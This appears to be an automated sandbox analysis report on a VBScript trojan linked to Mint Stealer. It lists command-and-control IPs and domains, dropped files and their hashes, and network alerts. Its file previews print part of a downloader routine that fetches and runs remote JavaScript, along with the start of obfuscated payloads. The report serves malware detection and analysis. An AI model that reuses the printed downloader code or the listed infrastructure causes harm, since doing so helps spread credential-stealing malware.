Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	676556be12ac3.vbs
Detection:	MAL
Classification:	mal100.troj.expl.evad.winVBS@28/14@2/3
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 15 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .vbs Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 20.12.23.50, 13.107.246.63
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 8032 because it is empty
Execution Graph export aborted for target powershell.exe, PID 8100 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
06:48:10	API Interceptor	634x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
78.138.9.153	PKO_0019289289544_PDF_#U2463#U2466#U2465#U2462#U2461#U2466#U2464#U2462.hta	Get hash	malicious	Mint Stealer	Browse
206.188.197.242	PKO_0019289289544_PDF_#U2463#U2466#U2465#U2462#U2461#U2466#U2464#U2462.hta	Get hash	malicious	Mint Stealer	Browse	bmuegbvuz7u3b.top/1.php?s=mints21

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bmuegbvuz7u3b.top	PKO_0019289289544_PDF_#U2463#U2466#U2465#U2462#U2461#U2466#U2464#U2462.hta	Get hash	malicious	Mint Stealer	Browse	206.188.197.242
file-download.bytez.cloud	PKO_0019289289544_PDF_#U2463#U2466#U2465#U2462#U2461#U2466#U2464#U2462.hta	Get hash	malicious	Mint Stealer	Browse	78.138.9.153

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SKYVISIONGB	PKO_0019289289544_PDF_#U2463#U2466#U2465#U2462#U2461#U2466#U2464#U2462.hta	Get hash	malicious	Mint Stealer	Browse	78.138.9.153
	loligang.mips.elf	Get hash	malicious	Mirai	Browse	83.229.37.7
	442.docx.exe	Get hash	malicious	RMSRemoteAdmin	Browse	78.138.9.142
	442.docx.exe	Get hash	malicious	RMSRemoteAdmin	Browse	78.138.9.142
	442.docx.exe	Get hash	malicious	RMSRemoteAdmin	Browse	78.138.9.142
	442.docx.exe	Get hash	malicious	RMSRemoteAdmin	Browse	78.138.9.142
	la.bot.mipsel.elf	Get hash	malicious	Unknown	Browse	83.229.59.112
	https://www.google.ml/url?fvg=1YI3fC8whlGPBCiMyiuQ&bhtBf=8EQhXbuMThqowIo0zyCX&sa=t&ndg=afydNw3nDHf9A6uq2MCH&url=amp%2Fiestpcanipaco.edu.pe%2F.r%2Fu1kOgE-SURELILYYWRhcnNoLm1hbGhvdHJhQGphdG8uY29t	Get hash	malicious	HTMLPhisher	Browse	78.138.9.37
	arm4.elf	Get hash	malicious	Mirai	Browse	217.194.146.92
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	217.194.158.58
DEFENSE-NETUS	PKO_0019289289544_PDF_#U2463#U2466#U2465#U2462#U2461#U2466#U2464#U2462.hta	Get hash	malicious	Mint Stealer	Browse	206.188.197.242
	x86.elf	Get hash	malicious	Mirai, Moobot	Browse	107.162.185.253
	home.mips.elf	Get hash	malicious	Gafgyt, Mirai	Browse	170.158.122.12
	bpaymentcopy.exe	Get hash	malicious	HawkEye, MailPassView, PredatorPainRAT	Browse	207.204.50.48
	phish_alert_iocp_v1.4.48 (80).eml	Get hash	malicious	InvoiceScam	Browse	107.162.175.186
	2stage.ps1	Get hash	malicious	Unknown	Browse	206.188.196.37
	2stage.ps1	Get hash	malicious	Unknown	Browse	206.188.196.37
	I_ Ultima richiesta di pagamento finale per Cuzziol beverage s_r_l__.msg	Get hash	malicious	Mint Stealer	Browse	206.188.196.37
	_DRP12938938231_PDF.js	Get hash	malicious	Mint Stealer	Browse	206.188.196.37
	_DRP12938938231_PDF.js	Get hash	malicious	Mint Stealer	Browse	206.188.196.37

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
74954a0c86284d0d6e1c4efefe92b521	PKO_0019289289544_PDF_#U2463#U2466#U2465#U2462#U2461#U2466#U2464#U2462.hta	Get hash	malicious	Mint Stealer	Browse	78.138.9.153
	9KEZfGRjyK.exe	Get hash	malicious	Unknown	Browse	78.138.9.153
	9KEZfGRjyK.exe	Get hash	malicious	Unknown	Browse	78.138.9.153
	Hkeyboard.dll	Get hash	malicious	Unknown	Browse	78.138.9.153
	67618a47ee8c5.vbs	Get hash	malicious	Mint Stealer	Browse	78.138.9.153
	PKO_0019868519477_PDF_#U2462#U2465#U2461#U2465#U2467#U2464#U2464#U2466.hta	Get hash	malicious	Mint Stealer	Browse	78.138.9.153
	webhook.exe	Get hash	malicious	Unknown	Browse	78.138.9.153
	loader.exe	Get hash	malicious	Unknown	Browse	78.138.9.153
	loader.exe	Get hash	malicious	Unknown	Browse	78.138.9.153
	chos.exe	Get hash	malicious	Unknown	Browse	78.138.9.153
37f463bf4616ecd445d4a1937da06e19	PKO_0019289289544_PDF_#U2463#U2466#U2465#U2462#U2461#U2466#U2464#U2462.hta	Get hash	malicious	Mint Stealer	Browse	78.138.9.153
	ktyihkdfesf.exe	Get hash	malicious	Vidar	Browse	78.138.9.153
	pjthjsdjgjrtavv.exe	Get hash	malicious	Vidar	Browse	78.138.9.153
	FinTP-Update.exe	Get hash	malicious	CobaltStrike	Browse	78.138.9.153
	hrupdate.exe	Get hash	malicious	CobaltStrike	Browse	78.138.9.153
	hrupdate.exe	Get hash	malicious	CobaltStrike	Browse	78.138.9.153
	billys.exe	Get hash	malicious	Meduza Stealer	Browse	78.138.9.153
	ruppert.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	78.138.9.153
	file.exe	Get hash	malicious	ScreenConnect Tool, LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar	Browse	78.138.9.153

Process:	C:\Windows\System32\curl.exe
File Type:	ASCII text
Category:	modified
Size (bytes):	1926
Entropy (8bit):	4.4398973650458675
Encrypted:	false
SSDEEP:	48:q58OOD+y8Qyl+hLMpvELdQu8EwNcr1Vmzd/Im/IIv:q5FOD+y8QXhLM9KQuJwNcr1VmztImwIv
MD5:	CDCB07DE1864FBFC7BB443C647CF8834
SHA1:	CDB1BC9A49838B64CA34DA607CF90FE228BE3500
SHA-256:	7D5A133EA8497FE8C117E14E298395B2CFEDB862FDD146FF168CC619A2FDB453
SHA-512:	5AE4550F2BDA34FA0B6BE8DB9D9AB585ABCDF984496B3732B676498674CF69385D2185EAFB426E64FE169767AF77D1968D0A67187A9D7C9FC280676C5FB9C253
Malicious:	true
Preview:	Option Explicit..Sub DownloadAndExecuteJS(baseUrl, listEndpoint, jsFolder). Dim xmlhttp, fso, shell, jsFiles, selectedFile, tempFolder, jsFilePath. Set xmlhttp = CreateObject("MSXML2.XMLHTTP"). Set fso = CreateObject("Scripting.FileSystemObject"). Set shell = CreateObject("WScript.Shell").. On Error Resume Next. xmlhttp.Open "GET", baseUrl & listEndpoint, False. xmlhttp.Send.. If Err.Number <> 0 Then. Err.Clear. Exit Sub. End If.. If xmlhttp.Status = 200 Then. jsFiles = Split(Trim(xmlhttp.responseText), vbLf).. If UBound(jsFiles) >= 0 Then.. Randomize. selectedFile = Trim(jsFiles(Int((UBound(jsFiles) + 1) * Rnd))) .. If selectedFile <> "" Then.. tempFolder = shell.ExpandEnvironmentStrings("%TEMP%").. If Not fso.FolderExists(tempFolder) Then. fso.CreateFolder(tempFolder). End If.. jsFilePath = tempFolder & "\" & Replace

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\jfwdec[1].txt

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	Unicode text, UTF-8 text, with very long lines (1674)
Category:	dropped
Size (bytes):	194279
Entropy (8bit):	4.814961368383396
Encrypted:	false
SSDEEP:	1536:nwaMUH2eaF9Qbkln4wVSRjcBtqG8H2eaF9QbklntwVSRjcBtqG7wVSRjcBtqG8Hi:nZeQbdwhtOeQbuwhtHwhtOeQbDeQb6
MD5:	11AD98A153F3BCAA2F9197D4CDD6F879
SHA1:	8D64DA4EC1C983F3E6DD87BCB544918F43664B00
SHA-256:	7F0DB3868F92505695E6B7B87F11B279DB99F4239DF8F9DBEB7832FA6D1E6641
SHA-512:	0CF9AE09380A2B0BAD36E1767E70C0ABAE89FABDCB69815129B614A8DDB1F9563CF1B86AE49197B6B39632E0149F120A0F3474DACB91179F732348AB6BB8C38C
Malicious:	false
Preview:	var thehis0wouldsovereignty = thehis0thewith;.function thehis0thewith(nothistory, thewith) {. var wouldsovereignty = thehis0nothistory();. thehis0thewith = function (andrewforces, suchthe) {. andrewforces = andrewforces - (0x517 * 0x1 + 0x16be + 0x1a8a * -0x1);. var ourtypos = wouldsovereignty[andrewforces];. if (thehis0thewith['FzvcMl'] === undefined) {. var courtvii = function (Ourtypos) {. var Andrewforces = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';. var Suchthe = '';. var Wouldsovereignty = '';. for (var Courtvii = 0x1454 + -0x6a1 + -0x1 * 0xdb3, sUchthe, tHewith, wOuldsovereignty = -0x1462 + -0x21e3 * 0x1 + 0x1217 * 0x3; tHewith = Ourtypos['charAt'](wOuldsovereignty++); ~tHewith && (sUchthe = Courtvii % (0x441 * 0x3 + -0x9 * 0x233 + -0x70c * -0x1) ? sUchthe * (0xe58 + -0x1 * -0x1cc3 + -0x3 * 0xe49) + tHewith : tHewith, Courtvii++ % (0x16 * 0x69 + 0x1 * 0x1e1

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\list_files[1].php

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5511
Entropy (8bit):	4.253685452356059
Encrypted:	false
SSDEEP:	96:7l80Pbnkdg1IGc5RH6tv76i08SUDt3L3HKWO3I8M8ehSYWlq7tMQP7OLWr:p8EUg1IGEc6i08lD93HK9JM1S3C5aKr
MD5:	B84AA7AB0047E73341FFFC009B75CF29
SHA1:	B1A9D2337E131E7A8CAB6D7884E2DBAE822676A4
SHA-256:	0E58420A942431806474AFB9CE928DBB6860F4BDDE5A9D57BABBC32310240254
SHA-512:	1926E8D9C789B8AFEA9BCBB66E9D78E3BD9C6230F8B91C1D5C296A44B16022988CFA2C9588AA0DE8D9B76AAD5A60A410DBA5AF859632BA892640207FB49A0BCA
Malicious:	false
Preview:	adchfn.txt.afmjqy.txt.aipojd.txt.aivfhm.txt.akmsfn.txt.alzgdf.txt.apwisr.txt.aqbves.txt.arfejg.txt.arpufx.txt.aspngf.txt.atbmcv.txt.athupi.txt.atjunw.txt.atrpjx.txt.aweqxl.txt.aybfme.txt.bazydn.txt.bcertv.txt.bcvmok.txt.bftoze.txt.bgwdlq.txt.bjewxt.txt.bkerly.txt.bkocxt.txt.bksnzj.txt.bmcrfh.txt.bnfzji.txt.bpyjmd.txt.bqpmtr.txt.bsuyhj.txt.buriep.txt.buzpag.txt.bymvne.txt.bypvgu.txt.bzclen.txt.bzscvg.txt.cafshz.txt.cagesr.txt.cbftqv.txt.cbpzji.txt.cdazps.txt.cexirv.txt.cexudy.txt.cfjrvu.txt.chepkx.txt.chvjrw.txt.cirunm.txt.clgkjd.txt.cljokq.txt.clwnai.txt.cnduef.txt.conuwf.txt.csqhyv.txt.ctrnow.txt.cusemi.txt.cyqbmx.txt.cyxgwa.txt.datkuq.txt.dawgjr.txt.dcwanm.txt.decqzl.txt.deirlj.txt.dfrwix.txt.dhkuol.txt.diktcx.txt.dimekn.txt.djiowm.txt.djtukm.txt.dkwozi.txt.dmhjua.txt.dnbuqz.txt.dperay.txt.drgftx.txt.dsoayr.txt.dxbgma.txt.dxkipn.txt.dxnzvl.txt.dzayik.txt.eaqbfm.txt.efcwnv.txt.ehsail.txt.ehwdpq.txt.eicbgw.txt.eivhfn.txt.elqgwv.txt.emuzcj.txt.enhozf.txt.epmtcs.txt.esagwk.txt.eucwkz.txt

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\list_files[1].php

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5511
Entropy (8bit):	4.253685452356059
Encrypted:	false
SSDEEP:	96:7l80Pbnkdg1IGc5RH6tv76i08SUDt3L3HKWO3I8M8ehSYWlq7tMQP7OLWr:p8EUg1IGEc6i08lD93HK9JM1S3C5aKr
MD5:	B84AA7AB0047E73341FFFC009B75CF29
SHA1:	B1A9D2337E131E7A8CAB6D7884E2DBAE822676A4
SHA-256:	0E58420A942431806474AFB9CE928DBB6860F4BDDE5A9D57BABBC32310240254
SHA-512:	1926E8D9C789B8AFEA9BCBB66E9D78E3BD9C6230F8B91C1D5C296A44B16022988CFA2C9588AA0DE8D9B76AAD5A60A410DBA5AF859632BA892640207FB49A0BCA
Malicious:	false
Preview:	adchfn.txt.afmjqy.txt.aipojd.txt.aivfhm.txt.akmsfn.txt.alzgdf.txt.apwisr.txt.aqbves.txt.arfejg.txt.arpufx.txt.aspngf.txt.atbmcv.txt.athupi.txt.atjunw.txt.atrpjx.txt.aweqxl.txt.aybfme.txt.bazydn.txt.bcertv.txt.bcvmok.txt.bftoze.txt.bgwdlq.txt.bjewxt.txt.bkerly.txt.bkocxt.txt.bksnzj.txt.bmcrfh.txt.bnfzji.txt.bpyjmd.txt.bqpmtr.txt.bsuyhj.txt.buriep.txt.buzpag.txt.bymvne.txt.bypvgu.txt.bzclen.txt.bzscvg.txt.cafshz.txt.cagesr.txt.cbftqv.txt.cbpzji.txt.cdazps.txt.cexirv.txt.cexudy.txt.cfjrvu.txt.chepkx.txt.chvjrw.txt.cirunm.txt.clgkjd.txt.cljokq.txt.clwnai.txt.cnduef.txt.conuwf.txt.csqhyv.txt.ctrnow.txt.cusemi.txt.cyqbmx.txt.cyxgwa.txt.datkuq.txt.dawgjr.txt.dcwanm.txt.decqzl.txt.deirlj.txt.dfrwix.txt.dhkuol.txt.diktcx.txt.dimekn.txt.djiowm.txt.djtukm.txt.dkwozi.txt.dmhjua.txt.dnbuqz.txt.dperay.txt.drgftx.txt.dsoayr.txt.dxbgma.txt.dxkipn.txt.dxnzvl.txt.dzayik.txt.eaqbfm.txt.efcwnv.txt.ehsail.txt.ehwdpq.txt.eicbgw.txt.eivhfn.txt.elqgwv.txt.emuzcj.txt.enhozf.txt.epmtcs.txt.esagwk.txt.eucwkz.txt

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\ykgnts[1].txt

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	Unicode text, UTF-8 text, with very long lines (1818)
Category:	dropped
Size (bytes):	262860
Entropy (8bit):	4.769576017108292
Encrypted:	false
SSDEEP:	3072:nwlCBSgbkEPGKT2s62qN4EPGKz2s62qN32s62qN2EPGKlEPGKu:PNTfqBNzfqVfqrNyNu
MD5:	1B9BEEB8D25DFE12F2C78D942B30DB1B
SHA1:	A554BFAE0B4FE0B03F567CD050D94C619C38EE0B
SHA-256:	58B1DA0AFF02588B715921C3B6A4C265C6C819E9A3164E5E49323269157E70D4
SHA-512:	BAB1FF9EC52E4BBE1A9B31FEA98AF2C8497FE8EDC9547F70D71D59EF43E013BF6B44934D9BB0127F7EBFCE202AB5F04ADE7158E48B2814C6BB2D56FDDB54A837
Malicious:	false
Preview:	var thehis0wouldsovereignty = thehis0thewith;.function thehis0thewith(nothistory, thewith) {. var wouldsovereignty = thehis0nothistory();. thehis0thewith = function (andrewforces, suchthe) {. andrewforces = andrewforces - (0x517 * 0x1 + 0x16be + 0x1a8a * -0x1);. var ourtypos = wouldsovereignty[andrewforces];. if (thehis0thewith['FzvcMl'] === undefined) {. var courtvii = function (Ourtypos) {. var Andrewforces = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';. var Suchthe = '';. var Wouldsovereignty = '';. for (var Courtvii = 0x1454 + -0x6a1 + -0x1 * 0xdb3, sUchthe, tHewith, wOuldsovereignty = -0x1462 + -0x21e3 * 0x1 + 0x1217 * 0x3; tHewith = Ourtypos['charAt'](wOuldsovereignty++); ~tHewith && (sUchthe = Courtvii % (0x441 * 0x3 + -0x9 * 0x233 + -0x70c * -0x1) ? sUchthe * (0xe58 + -0x1 * -0x1cc3 + -0x3 * 0xe49) + tHewith : tHewith, Courtvii++ % (0x16 * 0x69 + 0x1 * 0x1e1

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	9434
Entropy (8bit):	4.928515784730612
Encrypted:	false
SSDEEP:	192:Lxoe5qpOZxoe54ib4ZVsm5emdrgkjDt4iWN3yBGHVQ9smzdcU6Cj9dcU6CG9smAH:srib4ZIkjh4iUxsT6Ypib47
MD5:	D3594118838EF8580975DDA877E44DEB
SHA1:	0ACABEA9B50CA74E6EBAE326251253BAF2E53371
SHA-256:	456A877AFDD786310F7DAF74CCBC7FB6B0A0D14ABD37E3D6DE9D8277FFAC7DDE
SHA-512:	103EA89FA5AC7E661417BBFE049415EF7FA6A09C461337C174DF02925D6A691994FE91B148B28D6A712604BDBC4D1DB5FEED8F879731B36326725AA9714AC53C
Malicious:	false
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllulbnolz:NllUc
MD5:	F23953D4A58E404FCB67ADD0C45EB27A
SHA1:	2D75B5CACF2916C66E440F19F6B3B21DFD289340
SHA-256:	16F994BFB26D529E4C28ED21C6EE36D4AFEAE01CEEB1601E85E0E7FDFF4EFA8B
SHA-512:	B90BFEC26910A590A367E8356A20F32A65DB41C6C62D79CA0DDCC8D95C14EB48138DEC6B992A6E5C7B35CFF643063012462DA3E747B2AA15721FE2ECCE02C044
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_01eqxpfd.1tf.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1qkzahmb.432.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5zjo3tce.q2p.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tk5vspgg.rdf.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\jfwdec.js

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	ISO-8859 text, with very long lines (1674)
Category:	dropped
Size (bytes):	194266
Entropy (8bit):	4.814259057069911
Encrypted:	false
SSDEEP:	1536:nwaMUH2eaF9Qbkgn4wVSkmcBUqG8H2eaF9QbkgntwVSkmcBUqG7wVSkmcBUqG8Hw:nZeQbuwBUOeQbHwBUHwBUOeQbWeQbv
MD5:	33D83E9852DD662621B73F3D960738D6
SHA1:	96834E774FF4799BCDD43A54D79676E89F906E25
SHA-256:	E682DF4AA73E4290C6117D56DBDC4D1BC8134CBB16F7A0F0C830D2B2455CD8D7
SHA-512:	8E769B4870F1E7EE233DD1CFF90D932F37595584DBE5D96D12F35B9725C01A99392ADB5A7557C677086B9159C9E7F4254A182D193CAE39D0E1346FAE8E31BA4E
Malicious:	false
Preview:	var thehis0wouldsovereignty = thehis0thewith;.function thehis0thewith(nothistory, thewith) {. var wouldsovereignty = thehis0nothistory();. thehis0thewith = function (andrewforces, suchthe) {. andrewforces = andrewforces - (0x517 * 0x1 + 0x16be + 0x1a8a * -0x1);. var ourtypos = wouldsovereignty[andrewforces];. if (thehis0thewith['FzvcMl'] === undefined) {. var courtvii = function (Ourtypos) {. var Andrewforces = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';. var Suchthe = '';. var Wouldsovereignty = '';. for (var Courtvii = 0x1454 + -0x6a1 + -0x1 * 0xdb3, sUchthe, tHewith, wOuldsovereignty = -0x1462 + -0x21e3 * 0x1 + 0x1217 * 0x3; tHewith = Ourtypos['charAt'](wOuldsovereignty++); ~tHewith && (sUchthe = Courtvii % (0x441 * 0x3 + -0x9 * 0x233 + -0x70c * -0x1) ? sUchthe * (0xe58 + -0x1 * -0x1cc3 + -0x3 * 0xe49) + tHewith : tHewith, Courtvii++ % (0x16 * 0x69 + 0x1 * 0x1e1

C:\Users\user\AppData\Local\Temp\ykgnts.js

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	ISO-8859 text, with very long lines (1818)
Category:	dropped
Size (bytes):	262839
Entropy (8bit):	4.768754303966867
Encrypted:	false
SSDEEP:	3072:nwlCBSgbkEPGKTns6LqNnEPGKzns6LqNSns6LqNTEPGKlEPGKu:PNT5qGNz5qA5qeNyNu
MD5:	2A45020708116BC30C676ACC28F1B9FC
SHA1:	63CFDEED4D3285B6DAD86533403A4F3E9C89E330
SHA-256:	C93203F0F5923A56EE9F62A0E1DCA33C3F3E405D8CBE7FD4F9A577C6C22EDA97
SHA-512:	61101C43CCEA765312D56FA549BD12AEB79F22425B52B089F76A08C55420533C397931B1E586CE46F8525F861835482E75D216260874BF1C076A0AE68203C575
Malicious:	true
Preview:	var thehis0wouldsovereignty = thehis0thewith;.function thehis0thewith(nothistory, thewith) {. var wouldsovereignty = thehis0nothistory();. thehis0thewith = function (andrewforces, suchthe) {. andrewforces = andrewforces - (0x517 * 0x1 + 0x16be + 0x1a8a * -0x1);. var ourtypos = wouldsovereignty[andrewforces];. if (thehis0thewith['FzvcMl'] === undefined) {. var courtvii = function (Ourtypos) {. var Andrewforces = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';. var Suchthe = '';. var Wouldsovereignty = '';. for (var Courtvii = 0x1454 + -0x6a1 + -0x1 * 0xdb3, sUchthe, tHewith, wOuldsovereignty = -0x1462 + -0x21e3 * 0x1 + 0x1217 * 0x3; tHewith = Ourtypos['charAt'](wOuldsovereignty++); ~tHewith && (sUchthe = Courtvii % (0x441 * 0x3 + -0x9 * 0x233 + -0x70c * -0x1) ? sUchthe * (0xe58 + -0x1 * -0x1cc3 + -0x3 * 0xe49) + tHewith : tHewith, Courtvii++ % (0x16 * 0x69 + 0x1 * 0x1e1

\Device\ConDrv

Download File

Process:	C:\Windows\System32\curl.exe
File Type:	ASCII text, with CR, LF line terminators
Category:	dropped
Size (bytes):	478
Entropy (8bit):	2.9695391127948474
Encrypted:	false
SSDEEP:	6:I2swj2SAykymUeg/8Uni1qSgOgcdivIddivIdjuYM:Vz6ykymUexb1U9cddddtM
MD5:	6CCF893D3FE5DA747F533C23D8B4E746
SHA1:	34AF0DA31930C305F1B2BEC53AC3A920246207D6
SHA-256:	28F155064AEC9BC4899AE8AEE518D04849A16CD58C2B6BD3E132D12C9C0C5C92
SHA-512:	D6E91FE68CB148331F447E59EAE2B160298CB38141E10F6FF64E3174B0A55FEAB105054CFBD5BED74134A783257087400A5E815B1BC3476DF55B97F43BA26CC1
Malicious:	false
Preview:	% Total % Received % Xferd Average Speed Time Time Time Current.. Dload Upload Total Spent Left Speed... 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0. 0 0 0 0 0 0 0 0 --:--:-- 0:00:01 --:--:-- 0. 0 0 0 0 0 0 0 0 --:--:-- 0:00:01 --:--:-- 0.100 1926 100 1926 0 0 816 0 0:00:02 0:00:02 --:--:-- 817..

Static File Info

General

File type:	ASCII text
Entropy (8bit):	5.399388999130672
TrID:	Visual Basic Script (13500/0) 100.00%
File name:	676556be12ac3.vbs
File size:	707 bytes
MD5:	288168092dc1116083d7dea05fb97946
SHA1:	61d44c8f0d2ee68f6350f921f442c91ddad03f8d
SHA256:	9103d31fceae9c886164ed174ab66282406779964543edaeae14a89ddc6b2821
SHA512:	38d4317cb10bb48176f88279d4af2bea3822184a5477b79f03999a3c2a4ca84770781fcda777af6be2d22d2103afff06a11babcddd06e06b3114331f8e1a97ab
SSDEEP:	12:ab1ydJWCH4AddYN1dLmrZfHFXZ3sOoc8ZfzjqH6:ab1ydzH4wiUrFH69FT
TLSH:	C501CB96F6148B55D61A438000125018F36DA56E0C25895AE21FEEBF62A84F13EDA36B
File Content Preview:	..function pVvId92(vHkR3pm51) . pVvId92 = Replace(vHkR3pm51,"\|", "").end function..Dim shell, publicFolder.Set shell = CreateObject("WScript.Shell").publicFolder = shell.ExpandEnvironmentStrings("%PUBLIC%")...Dim vbsFilePath.vbsFilePath = publicFolder

File Icon


Icon Hash:	68d69b8f86ab9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-20T12:48:34.940973+0100	2057063	ET MALWARE Mints.Loader CnC Activity (GET)	1	192.168.2.4	49737	206.188.197.242	80	TCP
2024-12-20T12:48:34.940973+0100	2057743	ET MALWARE TA582 CnC Checkin	1	192.168.2.4	49737	206.188.197.242	80	TCP
